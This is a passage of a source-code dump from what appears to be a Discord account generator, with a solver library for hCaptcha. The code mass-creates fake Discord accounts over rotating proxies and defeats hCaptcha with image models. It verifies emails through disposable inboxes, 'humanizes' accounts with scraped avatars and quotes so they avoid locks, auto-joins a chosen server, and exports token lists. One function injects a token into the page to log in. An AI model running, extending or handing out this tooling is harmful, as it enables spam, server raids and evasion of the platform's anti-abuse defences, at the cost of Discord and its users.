215 | await self.page.type('[name="username"]', self.browser.faker.username)
216 | await self.page.type('[name="password"]', self.browser.faker.password)
217 | # Typing BirthDay, BirthMonth, BirthYear
218 | await self.page.type('[id="react-select-2-input"]', self.browser.faker.birth_day)
219 | await self.page.keyboard.press("Enter")
220 | await self.page.type('[id="react-select-3-input"]', self.browser.faker.birth_month)
221 | await self.page.keyboard.press("Enter")
222 | await self.page.type('[id="react-select-4-input"]', self.browser.faker.birth_year)
223 | # Clicking Tos and Submit Button
224 | try:
225 | tos_box = self.page.locator("[type='checkbox']").first
226 | await tos_box.click()
227 | except Exception as e:
228 | self.logger.debug("No TOS Checkbox was detected")
229 | pass
230 | await self.page.click('[type="submit"]')
231 |
232 | await self.page.solve_hcaptcha()
233 |
234 | while not self.token:
235 | await self.page.wait_for_timeout(2000)
236 |
237 | self.logger.info(f"Generated Token: {self.token}")
238 | await self.page.wait_for_timeout(2000)
239 |
240 | is_locked = await Discord.is_locked(self)
241 | if is_locked:
242 | self.logger.error(f"Token {self.token} is locked!")
243 | await self.close()
244 | return
245 | else:
246 | self.logger.info(
247 | f"Token: {self.token} is unlocked! Flags: {self.flags}")
248 |
249 | self.log_output()
250 |
251 | await self.page.wait_for_timeout(2000)
252 |
253 | # Closing PopUps
254 | for _ in range(2):
255 | try:
256 | await self.page.click("[class *= 'closeButton']", timeout=5000)
257 | except:
258 | pass
259 |
260 | if self.email_verification:
261 | self.logger.info("Verifying email...")
262 | await Discord.confirm_email(self)
263 |
264 | self.log_output()
265 |
266 | await self.page.wait_for_timeout(2000)
267 |
268 | if self.humanize:
269 | await Discord.humanize_token(self)
270 |
271 | await self.page.wait_for_timeout(2000)
272 |
273 | if self.invite_link:
274 | await Discord.join_server(self)
275 |
276 | self.log_output()
277 | with open(self.output_file, 'a') as file:
278 | file.write(f"{self.output}\n")
279 |
280 | self.logger.info(
281 | "Successfully Generated Account! Closing Browser...")
282 |
283 | await self.close()
284 |
285 | # Catch Exceptions and save output anyways
286 | except:
287 | self.logger.error(f"Catched Exception, trying to save Token anyways... \n Error: \n{traceback.format_exc()}")
288 | if self.output:
289 | with open(self.output_file, 'a') as file:
290 | file.write(f"{self.output}\n")
291 |
292 | # Testing (Maybe used later?)
293 | async def login_token(self):
294 | # Going on Discord Register Site
295 | try:
296 | await self.page.goto("https://discord.com/register")
297 | except:
298 | self.logger.error("Site didn´t load")
299 | return False
300 | await self.page.evaluate(str('setInterval(() => {document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"' + self.token + '"`}, 2500); setTimeout(() => {location.reload();}, 2500);'))
301 | await self.page.wait_for_timeout(5000)
302 |
303 | if self.email_verification:
304 | self.inbox = TempMail.generateInbox()
305 | self.logger.info("Claiming Account...")
306 | await Discord.set_email(self, self.inbox.address)
307 | await self.page.wait_for_timeout(2000)
308 | self.logger.info("Verifying email...")
309 | await Discord.confirm_email(self)
310 | # self.log_output()
311 | # await self.page.wait_for_timeout(2000)
312 | # if self.humanize:
313 | # await Discord.humanize_token(self)
314 | # await self.page.wait_for_timeout(2000)
315 | if self.invite_link:
316 | await Discord.join_server(self)
317 | self.log_output()
318 | with open(self.output_file, 'a') as file:
319 | file.write(f"{self.output}\n")
320 | self.logger.info("Successfully Generated Account! Closing Browser...")
321 | await self.close()
322 |
323 |
324 | async def main():
325 | botright_client = await botright.Botright(headless=False)
326 | print(""" _____ __ ______ __ ______ ______ __ __
327 | /\ __-. /\ \ /\ ___\ /\ \ /\ __ \ /\ ___\ /\ \/ /
328 | \ \ \/\ \ \ \ \ \ \___ \ \ \ \____ \ \ \/\ \ \ \ \____ \ \ _"-.
329 | \ \____- \ \_\ \/\_____\ \ \_____\ \ \_____\ \ \_____\ \ \_\ \_\\
330 | \/____/ \/_/ \/_____/ \/_____/ \/_____/ \/_____/ \/_/\/_/ | Made by Vinyzu
331 | | https://github.com/Vinyzu/DiscordGenerator""")
332 |
333 | mode = input("[Select] - [Generation Mode]\n" + "<1> Generate Unclaimed Token\n" + "<2> Generate Token\n" + "<3> Test Captcha\n" + "> ")
334 | if mode not in ("1", "2", "3"):
335 | raise ValueError("Invalid Mode provided")
336 | else:
337 | mode = int(mode)
338 |
339 | if mode in (1, 2):
340 | email = input("[Select] - [Email Verification]\n" + "<1> Verification Enabled\n" +
341 | "<2> No Verification\n" + "> ")
342 | if email not in ("1", "2"):
343 | raise ValueError("Invalid Mode provided")
344 | else:
345 | email = True if email == "1" else False
346 | else:
347 | email = False
348 |
349 | if mode in (1, 2):
350 | humanize = input("[Select] - [Token Humanization]\n" + "<1> Humanization Enabled\n" +
351 | "<2> No Humanization\n" + "> ")
352 | if humanize not in ("1", "2"):
353 | raise ValueError("Invalid Mode provided")
354 | else:
355 | humanize = True if humanize == "1" else False
356 | else:
357 | humanize = False
358 |
359 | threads = input("[Input] - [Threads Amount]\n" + "> ")
360 | try:
361 | threads = int(threads)
362 | except:
363 | raise ValueError("Invalid ThreadAmount provided")
364 |
365 | proxy_file = input("[Drag&Drop] - [Proxy File]\n" +
366 | "> Or Leave empty for Proxyless Mode\n" + "> ").replace('"', "")
367 | if proxy_file:
368 | if not os.path.isfile(proxy_file):
369 | raise ValueError("Provided ProxyPath isnt a file!")
370 | proxies = open(proxy_file, 'r').readlines()
371 | else:
372 | proxies = None
373 |
374 | output_file = input("[Drag&Drop] - [Output File]\n" +
375 | "> Or Leave empty to use output.txt\n" + "> ").replace('"', "")
376 | if output_file:
377 | if not os.path.isfile(output_file):
378 | raise ValueError("Provided OutputPath isnt a file!")
379 | else:
380 | output_file = "output.txt"
381 |
382 | invite = input("[Input] - [Invite Link]\n" +
383 | "> Either parse a InviteLink, or an InviteCode\n" + "> ")
384 |
385 | if not validators.url(invite) and invite:
386 | invite_link = f"https://discord.gg/{invite}"
387 | if not validators.url(invite_link) or not httpx.get(f"https://discordapp.com/api/v8/invites/{invite}").is_success:
388 | raise ValueError(f"Invalid InviteLink: {invite}")
389 | else:
390 | invite_code = invite.split("/")[-1]
391 | if invite and not httpx.get(f"https://discordapp.com/api/v8/invites/{invite_code}").is_success:
392 | raise ValueError(f"Invalid InviteLink: {invite}")
393 | invite_link = invite
394 |
395 | output_format = input("[Input] - [Output Format]\n" +
396 | "> Token: token, Email: email, Password: pass, Proxy: proxy\n" +
397 | "> Leave empty for standart output: token:email:pass\n" + "> ")
398 | if not output_format:
399 | output_format = "token:email:pass"
400 | for item in output_format.split(":"):
401 | if item not in ["token", "email", "pass", "proxy"]:
402 | raise ValueError(f"Invalid OutputItem: {item}")
403 |
404 | os.system('cls' if os.name == 'nt' else 'clear')
405 |
406 | try:
407 | while True:
408 | threadz = []
409 | for _ in range(threads):
410 | proxy = random.choice(proxies) if proxies else None
411 | threadz.append(Generator().initialize(botright_client, proxy, mode, output_file, email, humanize, output_format, invite_link))
412 |
413 | await asyncio.gather(*threadz)
414 | except KeyboardInterrupt:
415 | await botright_client.close()
416 | except Exception:
417 | print(traceback.format_exc())
418 | await botright_client.close()
419 |
420 |
421 | if __name__ == '__main__':
422 | asyncio.run(main())
423 |
--------------------------------------------------------------------------------
/Version 2.3/modules/discord.py:
--------------------------------------------------------------------------------
1 | import random
2 | import base64
3 | import platform
4 | import re
5 | import tempfile
6 | import os
7 |
8 | import httpx
9 |
10 | from modules import tempmail
11 |
12 | res = httpx.get("https://discord.com/login").text
13 | file_with_build_num = 'https://discord.com/assets/'+re.compile(r'assets/+([a-z0-9]+)\.js').findall(res)[-2]+'.js'
14 | req_file_build = httpx.get(file_with_build_num).text
15 | index_of_build_num = req_file_build.find('buildNumber')+24
16 | DISCORD_BUILD_NUM = int(req_file_build[index_of_build_num:index_of_build_num+6])
17 |
18 | class Discord:
19 | async def get_headers(self, payload):
20 | cookies = await self.browser.cookies()
21 | __dcfduid = [item for item in cookies if item['name'] == "__dcfduid"][0]["value"]
22 | __sdcfduid = [item for item in cookies if item['name'] == "__sdcfduid"][0]["value"]
23 | cookies = f"__dcfduid={__dcfduid}; __sdcfduid={__sdcfduid}"
24 |
25 | super_props = {"os": platform.system(), "browser":"Firefox", "release_channel":"stable", "client_version": self.browser.browser.version, "os_version": str(platform.version()), "os_arch": "x64" if platform.machine().endswith('64') else "x86", "system_locale": self.browser.faker.locale, "client_build_number": DISCORD_BUILD_NUM, "client_event_source": None}
26 | super_props = base64.b64encode(str(super_props).encode()).decode()
27 |
28 | headers = {
29 | "accept": "*/*",
30 | "accept-encoding": "gzip, deflate, br",
31 | "accept-language": "de,de-DE;q=0.9",
32 | "authorization": self.token,
33 | "content-length": str(len(str(payload))),
34 | "content-type": "application/json",
35 | "cookie": cookies,
36 | "origin": "https://discord.com",
37 | "referer": "https://discord.com/channels/@me",
38 | "sec-fetch-dest": "empty",
39 | "sec-fetch-mode": "cors",
40 | "sec-fetch-site": "same-origin",
41 | "user-agent": self.browser.faker.useragent,
42 | "x-discord-locale": "en",
43 | "x-super-properties": super_props,
44 | }
45 | return headers
46 |
47 | async def humanize_token(self):
48 | await self.page.goto("https://discord.com/channels/@me")
49 | await self.page.wait_for_timeout(1000)
50 | # Clicking Settings Button
51 | settings_button = self.page.locator('[class *= "button-12Fmur"]').last
52 | await settings_button.click()
53 | # Click Profile Button
54 | await self.page.wait_for_timeout(500)
55 | profile_button = self.page.locator('[class *= "item-3XjbnG"]').nth(6)
56 | await profile_button.click()
57 |
58 | await self.page.wait_for_timeout(random.randint(2000, 3000))
59 |
60 | # Setting Random Avatar
61 | pics = httpx.get("https://api.github.com/repos/itschasa/Discord-Scraped/git/trees/cbd70ab66ea1099d31d333ab75e3682fd2a80cff")
62 | random_pic = random.choice(pics.json().get("tree")).get("path")
63 | pic_url = f"https://raw.githubusercontent.com/itschasa/Discord-Scraped/main/avatars/{random_pic}"
64 | pic = httpx.get(pic_url).content
65 |
66 | temp_file = tempfile.NamedTemporaryFile(suffix='.jpg', delete=False)
67 | temp_file.write(pic)
68 | temp_file.file.seek(0) # change the position to the beginning of the file
69 |
70 | self.page.on("filechooser", lambda file_chooser: file_chooser.set_files(temp_file.name))
71 |
72 | upload_avatar_button = self.page.locator('[class *= "buttonsContainer-12kYno"]').locator('[class *= "lookFilled-yCfaCM "]')
73 | await upload_avatar_button.click()
74 |
75 | await self.page.wait_for_timeout(random.randint(500, 1000))
76 |
77 | upload_own = self.page.locator('[class *= "file-input"]')
78 | await upload_own.click()
79 |
80 | await self.page.wait_for_timeout(random.randint(500, 1000))
81 | confirm_button = self.page.locator('[class *= "button-f2h6uQ"]').last
82 | await confirm_button.click()
83 |
84 | temp_file.close()
85 | os.unlink(temp_file.name)
86 |
87 |
88 | await self.page.wait_for_timeout(random.randint(2000, 3000))
89 |
90 | # Setting AboutME
91 | try:
92 | quote = httpx.get("https://free-quotes-api.herokuapp.com")
93 | quote = quote.json().get("quote")
94 | except:
95 | self.logger.warning('Couldnt Get a Random Quote, Setting "Dislock" as AboutMe')
96 | quote = "Dislock"
97 |
98 | profile_button = self.page.locator('[role="textbox"]')
99 | await profile_button.click()
100 | await self.page.keyboard.type(quote)
101 |
102 | await self.page.wait_for_timeout(random.randint(500, 1000))
103 | confirm_button = self.page.locator('[class *= "colorGreen-3y-Z79"]').last
104 | await confirm_button.click()
105 |
106 | # Going to Hypesquad Page
107 | hypesquad_button = self.page.locator('[aria-controls="hypesquad-online-tab"]')
108 | await hypesquad_button.click()
109 |
110 | await self.page.wait_for_timeout(random.randint(5000, 6000))
111 |
112 | # Setting Hypesquad
113 | # payload = {"house_id": random.randint(1, 3)}
114 | # headers = await Discord.get_headers(self, payload)
115 | # hypesquad = await self.page.request.post("https://discord.com/api/v9/hypesquad/online", data=payload, headers=headers)
116 | # print(await hypesquad.json())
117 |
118 | is_locked = await Discord.is_locked(self)
119 | if is_locked:
120 | self.logger.error(f"Token {self.token} got locked whilst humanizing!")
121 | await self.close()
122 | return
123 |
124 | self.log_output()
125 | self.logger.info(f"Set Bio and ProfilePic!")
126 |
127 | async def join_server(self):
128 | await self.page.goto("https://discord.com/channels/@me")
129 | await self.page.wait_for_timeout(1000)
130 | # Clicking Join Server Button
131 | create_join_button = self.page.locator('[data-list-item-id *= "create-join-button"]')
132 | await create_join_button.click()
133 | await self.page.wait_for_timeout(500)
134 | # Clicking Join a Server Button
135 | another_server_button = self.page.locator('[class *= "footerButton-24QPis"]')
136 | await another_server_button.click()
137 | # Type Invite Code
138 | await self.page.wait_for_timeout(1000)
139 | await self.page.type("[placeholder='https://discord.gg/hTKzmak']", self.invite_link)
140 | # Clicking Join Server Button
141 | join_server_button = self.page.locator('[class *= "lookFilled-yCfaCM"]').last
142 | await join_server_button.click()
143 |
144 | try:
145 | await self.page.solve_hcaptcha()
146 | except:
147 | self.logger.info("No JoinServer Captcha detected.")
148 |
149 | is_locked = await Discord.is_locked(self)
150 | if is_locked:
151 | self.logger.error(f"Token {self.token} got locked whilst joining a Server!")
152 | await self.close()
153 | return
154 |
155 | self.log_output()
156 | self.logger.info("Joined Server successfully.")
157 |
158 | async def is_locked(self):
159 | token_check = await self.page.request.get('https://discord.com/api/v9/users/@me/library', headers={"Authorization": self.token})
160 | token_check = token_check.status == 200
161 | if token_check:
162 | r = await self.page.request.get('https://discord.com/api/v9/users/@me', headers={"Authorization": self.token})
163 | response = await r.json()
164 | self.id = response.get("id")
165 | self.email = response.get("email")
166 | self.username = response.get("username")
167 | self.discriminator = response.get("discriminator")
168 | self.tag = f"{self.username}#{self.discriminator}"
169 | self.flags = response.get("public_flags")
170 |
171 | return not token_check
172 |
173 | async def set_email(self, email):
174 | try:
175 | # Setting Email
176 | await self.page.goto("https://discord.com/channels/@me")
177 | await self.page.wait_for_timeout(1000)
178 | # Clicking Settings Button
179 | settings_button = self.page.locator('[class *= "button-12Fmur"]').last
180 | await settings_button.click()
181 | # Click Email Button
182 | await self.page.wait_for_timeout(500)
183 | settings_button = self.page.locator('[class *= "fieldButton-14lHvK"]').nth(1)
184 | await settings_button.click()
185 |
186 | # Typing Mail
187 | mail_input = self.page.locator('[type="text"]').last
188 | await mail_input.type(email)
189 |
190 | # Typing Password
191 | password_input = self.page.locator('[type="password"]').last
192 | await password_input.type(self.browser.faker.password)
193 |
194 | # Click Claim Button
195 | claim_button = self.page.locator('[type="submit"]').last
196 | await claim_button.click()
197 | except Exception as e:
198 | print(e)
199 |
200 | async def confirm_email(self):
201 | before_token = self.token
202 | self.logger.info("Confirming Email...")
203 | # Getting the email confirmation link from the email
204 | self.scrape_emails = True
205 | while self.scrape_emails:
206 | emails = tempmail.TempMail.getEmails(self.inbox)
207 | for mail in emails:
208 | if "mail.discord.com" in str(mail.sender):
209 | for word in mail.body.split():
210 | if "https://click.discord.com" in word:
211 | self.email_link = word
212 | self.scrape_emails = False
213 | break
214 | self.email_link = self.email_link.replace("[", "").replace("]", "")
215 |
216 | self.logger.info("Waiting 10 seconds for a more realistic email-verify")
217 | await self.page.wait_for_timeout(random.randint(10000, 12000))
218 |
219 | # Confirming the email by link
220 | await self.page.goto(self.email_link)
221 |
222 | try:
223 | await self.page.solve_hcaptcha()
224 | except:
225 | self.logger.info("No EmailCaptcha detected")
226 |
227 | # Waiting until new token is set
228 | while self.token == before_token:
229 | await self.page.wait_for_timeout(1000)
230 |
231 | is_locked = await Discord.is_locked(self)
232 | if is_locked:
233 | self.logger.error(f"Token {self.token} got locked whilst verifying the Email!")
234 | await self.close()
235 | return
236 |
237 | self.log_output()
238 | return True
239 |
240 |
--------------------------------------------------------------------------------
/Version 2.3/modules/tempmail.py:
--------------------------------------------------------------------------------
1 | # source: https://github.com/tempmail-lol/api-python/tree/main/TempMail
2 | import json
3 | import random
4 |
5 | import httpx
6 |
7 | DOMAINS = ["gmailb.tk", "gmailb.ml", "gmailb.ga"]
8 |
9 |
10 | class TempMail:
11 | global BASE_URL
12 | BASE_URL = "https://api.tempmail.lol"
13 |
14 | """
15 | Make a request to the tempmail.lol api with a given endpoint
16 | The content of the request is a json string and is returned as a string object
17 | """
18 |
19 | def makeHTTPRequest(endpoint):
20 | headers = {
21 | "User-Agent": "TempMailPythonAPI/1.0",
22 | "Accept": "application/json"
23 | }
24 | try:
25 | connection = httpx.get(BASE_URL + endpoint, headers=headers)
26 | if connection.status_code >= 400:
27 | raise Exception("HTTP Error: " + str(connection.status_code))
28 | except Exception as e:
29 | print(e)
30 | return None
31 |
32 | response = connection.text
33 |
34 | return response
35 |
36 | """
37 | GenerateInbox will generate an inbox with an address and a token
38 | and returns an Inbox object
39 | > rush = False will generate a normal inbox with no rush (https://tempmail.lol/news/2022/08/03/introducing-rush-mode-for-tempmail/)
40 | """
41 | def generateInbox(rush=False):
42 | try:
43 | random_domain = random.choice(DOMAINS)
44 | s = TempMail.makeHTTPRequest(f"/generate/{random_domain}")
45 | except:
46 | print("Website responded with: " + s)
47 | data = json.loads(s)
48 | return Inbox(data["address"], data["token"])
49 |
50 | """
51 | getEmail gets the emails from an inbox object
52 | and returns a list of Email objects
53 | """
54 | def getEmails(inbox):
55 | s = TempMail.makeHTTPRequest("/auth/" + inbox.token)
56 | data = json.loads(s)
57 |
58 | # Raise an exception if the token is invalid
59 | if "token" in s:
60 | if data["token"] == "invalid":
61 | raise Exception("Invalid Token")
62 |
63 | # if no emails are found, return an empty list
64 | # else return a list of email
65 | if data["email"] == None:
66 | return ["None"]
67 | else:
68 | emails = []
69 | for email in data["email"]:
70 | emails.append(Email(
71 | email["from"], email["to"], email["subject"], email["body"], email["html"], email["date"]))
72 | return emails
73 |
74 | class Email:
75 | def __init__(self, sender, recipient, subject, body, html, date):
76 | # make the propertys immutable using @property
77 | self._sender = sender
78 | self._recipient = recipient
79 | self._subject = subject
80 | self._body = body
81 | self._html = html
82 | self._date = date
83 |
84 | @property
85 | def sender(self):
86 | return self._sender
87 |
88 | @property
89 | def recipient(self):
90 | return self._recipient
91 |
92 | @property
93 | def subject(self):
94 | return self._subject
95 |
96 | @property
97 | def body(self):
98 | return self._body
99 |
100 | @property
101 | def html(self):
102 | return self._html
103 |
104 | @property
105 | def date(self):
106 | return self._date
107 |
108 | def __repr__(self):
109 | return ("Email (sender={}, recipient={}, subject={}, body={}, html={}, date={} )"
110 | .format(self.sender, self.recipient, self.subject, self.body, self.html, self.date))
111 |
112 | class Inbox:
113 | def __init__(self, address, token):
114 | # make the propertys immutable using @property
115 | self._address = address
116 | self._token = token
117 |
118 | @property
119 | def address(self):
120 | return self._address
121 |
122 | @property
123 | def token(self):
124 | return self._token
125 |
126 | def __repr__(self):
127 | return ("Inbox (address={}, token={} )"
128 | .format(self.address, self.token))
--------------------------------------------------------------------------------
/Version 2.3/requirements.txt:
--------------------------------------------------------------------------------
1 | botright
2 | httpx~=0.23.0
3 | validators~=0.20.0
4 |
--------------------------------------------------------------------------------
/changelog.md:
--------------------------------------------------------------------------------
1 | # Changelog
2 |
3 | Every new change will be logged
4 |
5 | ## v1.0.6
6 | ```
7 | + Updated AI to support newest Tasks
8 | + Updated Avatar Function (should work now ig lol)
9 | + New IP-API (hopefully will fix ProxyIssues)
10 | + Added ServerJoiner (Wasnt tested enough to say its 100% stable)
11 |
12 | + Updated InviteLink in ReadMe
13 |
14 | ```
15 |
16 | ## v1.0.5
17 | ```
18 | + Fixxed To Low Password Security
19 | + Fixxed self.person error
20 | + Changed IP Provider (Hopefully Fixxes Proxy Errors)
21 | + Rewrote ProxyCheck Invalid Error
22 |
23 | ```
24 |
25 | ## v1.0.4
26 | ```
27 | + Tokens will now be saved even when the gen crashes
28 | + OutputFormat can now be set
29 | + Passwords now dont have ":" in them anymore (Messed up output format)
30 | + Delete verify=False in requests (caused warnings)
31 | + Fixxed Issue that NormalGenerator would save tempmail even when EmailVerification was disabled.
32 |
33 | ```
34 |
35 | ## v1.0.3
36 | ```
37 | + Raised Timeouts to allow slow proxies to work properly
38 | + Changed usage of TempmailAPI from package to local file
39 | + Updated AI to check images three times for any valid images
40 | + Replaced Httpx with Requests
41 |
42 | ```
43 |
44 | ## v1.0.2
45 | ```
46 | + Updated Model Downloader (httpx doesnt work)
47 | --> Now, Models dont have to be given in the repo
48 | + Updated Proxy Class (Splitter) and general proxy-object handling
49 |
50 | ```
51 |
52 | ## v1.0.1
53 | ```
54 | + Updated various Proxy Handlers
55 | + Updated MailVerifier to wait until the new token is received
56 | + Updated smooth_out_mouse() to fix https://github.com/Vinyzu/DiscordGenerator/issues/3 by adding an extra point
57 | + Updated DISCUM Client to reduce code amount and allow proxies to work
58 |
59 | ```
60 |
61 | ## v1.0
62 | ```
63 | + First Commit
64 | ```
--------------------------------------------------------------------------------
/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "EMAIL STUFF": {
3 | "REAL EMAIL ADDRESS": "exampleuser@gmail.com",
4 | "CUSTOM DOMAINS": ["example.com"],
5 |
6 | "IMAP HOST": "imap.gmail.com",
7 | "IMAP PORT": "993",
8 | "IMAP USERNAME": "exampleuser",
9 | "IMAP APP PASSWORD": "example-app-password"
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/contributing.md:
--------------------------------------------------------------------------------
1 | Contributing
2 | ============
3 | If you want to contribute to a project and make it better, your help is very welcome. Contributing is also a great way to learn more about social coding on Github, new technologies and and their ecosystems and how to make constructive, helpful bug reports, feature requests and the noblest of all contributions: a good, clean pull request.
4 |
5 | ### How to make a clean pull request
6 |
7 | Look for a project's contribution instructions. If there are any, follow them.
8 |
9 | - Create a personal fork of the project on Github.
10 | - Clone the fork on your local machine. Your remote repo on Github is called `origin`.
11 | - Add the original repository as a remote called `upstream`.
12 | - If you created your fork a while ago be sure to pull upstream changes into your local repository.
13 | - Create a new branch to work on! Branch from `develop` if it exists, else from `master`.
14 | - Implement/fix your feature, comment your code.
15 | - Follow the code style of the project, including indentation.
16 | - If the project has tests run them!
17 | - Write or adapt tests as needed.
18 | - Add or change the documentation as needed.
19 | - Squash your commits into a single commit with git's [interactive rebase](https://help.github.com/articles/interactive-rebase). Create a new branch if necessary.
20 | - Push your branch to your fork on Github, the remote `origin`.
21 | - From your fork open a pull request in the correct branch. Target the project's `develop` branch if there is one, else go for `master`!
22 | - …
23 | - If the maintainer requests further changes just push them to your branch. The PR will be updated automatically.
24 | - Once the pull request is approved and merged you can pull the changes from `upstream` to your local repo and delete
25 | your extra branch(es).
26 |
27 | And last but not least: Always write your commit messages in the present tense. Your commit message should describe what the commit, when applied, does to the code – not what you did to the code.
28 |
29 | `Source: https://github.com/MarcDiethelm/contributing`
--------------------------------------------------------------------------------
/hcaptcha_challenger/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Time : 2022/2/15 17:43
3 | # Author : QIN2DIM
4 | # Github : https://github.com/QIN2DIM
5 | # Description:
6 | from .core import ArmorCaptcha
7 | from .settings import DIR_CHALLENGE, DIR_MODEL, PATH_OBJECTS_YAML
8 | from .solutions.resnet import PluggableONNXModels
9 | from .solutions.sk_recognition import SKRecognition
10 | from .solutions.yolo import YOLO
11 |
12 | __all__ = ["SKRecognition", "YOLO", "ArmorCaptcha", "PluggableONNXModels",
13 | "DIR_CHALLENGE", "DIR_MODEL", "PATH_OBJECTS_YAML"]
14 |
--------------------------------------------------------------------------------
/hcaptcha_challenger/core.py:
--------------------------------------------------------------------------------
1 | from typing import Optional
2 |
3 | from .exceptions import ChallengeLangException
4 | from .solutions import resnet, sk_recognition, yolo
5 |
6 |
7 | class ArmorCaptcha:
8 | """hCAPTCHA challenge drive control"""
9 |
10 | label_alias = {
11 | "zh": {
12 | "自行车": "bicycle",
13 | "火车": "train",
14 | "卡车": "truck",
15 | "公交车": "bus",
16 | "巴士": "bus",
17 | "飞机": "airplane",
18 | "一条船": "boat",
19 | "船": "boat",
20 | "摩托车": "motorcycle",
21 | "垂直河流": "vertical river",
22 | "天空中向左飞行的飞机": "airplane in the sky flying left",
23 | "请选择天空中所有向右飞行的飞机": "airplanes in the sky that are flying to the right",
24 | "汽车": "car",
25 | "大象": "elephant",
26 | "鸟": "bird",
27 | "狗": "dog",
28 | "犬科动物": "dog",
29 | "一匹马": "horse",
30 | "长颈鹿": "giraffe",
31 | },
32 | "en": {
33 | "airplane": "airplane",
34 | "motorbus": "bus",
35 | "bus": "bus",
36 | "truck": "truck",
37 | "motorcycle": "motorcycle",
38 | "boat": "boat",
39 | "bicycle": "bicycle",
40 | "train": "train",
41 | "vertical river": "vertical river",
42 | "airplane in the sky flying left": "airplane in the sky flying left",
43 | "Please select all airplanes in the sky that are flying to the right": "airplanes in the sky that are flying to the right",
44 | "car": "car",
45 | "elephant": "elephant",
46 | "bird": "bird",
47 | "dog": "dog",
48 | "canine": "dog",
49 | "horse": "horse",
50 | "giraffe": "giraffe",
51 | },
52 | }
53 |
54 | BAD_CODE = {
55 | "а": "a",
56 | "е": "e",
57 | "e": "e",
58 | "i": "i",
59 | "і": "i",
60 | "ο": "o",
61 | "с": "c",
62 | "ԁ": "d",
63 | "ѕ": "s",
64 | }
65 |
66 | HOOK_CHALLENGE = "//iframe[contains(@title,'content')]"
67 |
68 | # Challenge Passed by following the expected
69 | CHALLENGE_SUCCESS = "success"
70 | # Continue the challenge
71 | CHALLENGE_CONTINUE = "continue"
72 | # Failure of the challenge as expected
73 | CHALLENGE_CRASH = "crash"
74 | # Your proxy IP may have been flagged
75 | CHALLENGE_RETRY = "retry"
76 | # Skip the specified label as expected
77 | CHALLENGE_REFRESH = "refresh"
78 | # (New Challenge) Types of challenges not yet scheduled
79 | CHALLENGE_BACKCALL = "backcall"
80 |
81 | def __init__(
82 | self,
83 | dir_workspace: str = None,
84 | lang: Optional[str] = "zh",
85 | dir_model: str = None,
86 | onnx_prefix: str = None,
87 | screenshot: Optional[bool] = False,
88 | debug=False,
89 | path_objects_yaml: Optional[str] = None,
90 | path_rainbow_yaml: Optional[str] = None,
91 | ):
92 | if not isinstance(lang, str) or not self.label_alias.get(lang):
93 | raise ChallengeLangException(
94 | f"Challenge language [{lang}] not yet supported."
95 | f" -lang={list(self.label_alias.keys())}"
96 | )
97 |
98 | self.action_name = "ArmorCaptcha"
99 | self.debug = debug
100 | self.dir_model = dir_model
101 | self.onnx_prefix = onnx_prefix
102 | self.screenshot = screenshot
103 | self.path_objects_yaml = path_objects_yaml
104 | self.path_rainbow_yaml = path_rainbow_yaml
105 |
106 | # 存储挑战图片的目录
107 | self.runtime_workspace = ""
108 | # 挑战截图存储路径
109 | self.path_screenshot = ""
110 | # 博大精深!
111 | self.lang = lang
112 | self.label_alias: dict = self.label_alias[lang]
113 |
114 | # Store the `element locator` of challenge images {挑战图片1: locator1, ...}
115 | self.alias2locator = {}
116 | # Store the `download link` of the challenge image {挑战图片1: url1, ...}
117 | self.alias2url = {}
118 | # Store the `directory` of challenge image {挑战图片1: "/images/挑战图片1.png", ...}
119 | self.alias2path = {}
120 | # 图像标签
121 | self.label = ""
122 | self.prompt = ""
123 | # 运行缓存
124 | self.dir_workspace = dir_workspace if dir_workspace else "."
125 |
126 | self.threat = 0
127 |
128 | # Automatic registration
129 | self.pom_handler = resnet.PluggableONNXModels(self.path_objects_yaml)
130 | self.label_alias.update(self.pom_handler.label_alias[lang])
131 | self.pluggable_onnx_models = self.pom_handler.overload(
132 | self.dir_model, path_rainbow=self.path_rainbow_yaml
133 | )
134 | self.yolo_model = yolo.YOLO(self.dir_model, self.onnx_prefix)
135 |
136 | def switch_solution(self):
137 | """Optimizing solutions based on different challenge labels"""
138 | sk_solution = {
139 | "vertical river": sk_recognition.VerticalRiverRecognition,
140 | "airplane in the sky flying left": sk_recognition.LeftPlaneRecognition,
141 | "airplanes in the sky that are flying to the right": sk_recognition.RightPlaneRecognition,
142 | }
143 |
144 | label_alias = self.label_alias.get(self.label)
145 |
146 | # Select ResNet ONNX model
147 | if self.pluggable_onnx_models.get(label_alias):
148 | return self.pluggable_onnx_models[label_alias]
149 | # Select SK-Image method
150 | if sk_solution.get(label_alias):
151 | return sk_solution[label_alias](self.path_rainbow_yaml)
152 | # Select YOLO ONNX model
153 | return self.yolo_model
154 |
--------------------------------------------------------------------------------
/hcaptcha_challenger/exceptions.py:
--------------------------------------------------------------------------------
1 | from typing import Optional, Sequence
2 |
3 |
4 | class ArmorException(Exception):
5 | """Armor module basic exception"""
6 |
7 | def __init__(self, msg: Optional[str] = None, stacktrace: Optional[Sequence[str]] = None):
8 | self.msg = msg
9 | self.stacktrace = stacktrace
10 | super().__init__()
11 |
12 | def __str__(self) -> str:
13 | exception_msg = f"Message: {self.msg}\n"
14 | if self.stacktrace:
15 | stacktrace = "\n".join(self.stacktrace)
16 | exception_msg += f"Stacktrace:\n{stacktrace}"
17 | return exception_msg
18 |
19 |
20 | class ChallengeException(ArmorException):
21 | """hCAPTCHA Challenge basic exceptions"""
22 |
23 |
24 | class ChallengeLangException(ChallengeException):
25 | """指定了不兼容的挑战语言"""
26 |
27 |
28 | class ChallengePassed(ChallengeException):
29 | """挑战未弹出"""
30 |
31 |
32 | class LoadImageTimeout(ChallengeException):
33 | """加载挑战图片超时"""
34 |
35 |
36 | class ChallengeTimeout(ChallengeException):
37 | """人机挑战超时 CPU能力太弱无法在规定时间内完成挑战"""
38 |
39 |
40 | class LabelNotFoundException(ChallengeException):
41 | """获取到空的图像标签名"""
42 |
43 |
44 | class AssertTimeout(ChallengeTimeout):
45 | """断言超时"""
46 |
--------------------------------------------------------------------------------
/hcaptcha_challenger/objects.yaml:
--------------------------------------------------------------------------------
1 | # Pluggable ONNX model
2 | # onnx_prefix:
3 | # zh: ["zh_prompt_label"]
4 | # en: ["en_prompt_label"]
5 | label_alias:
6 | seaplane:
7 | zh: [ "水上飞机" ]
8 | en: [ "seaplane" ]
9 | bedroom:
10 | zh: [ "卧室" ]
11 | en: [ "bedroom" ]
12 | bridge:
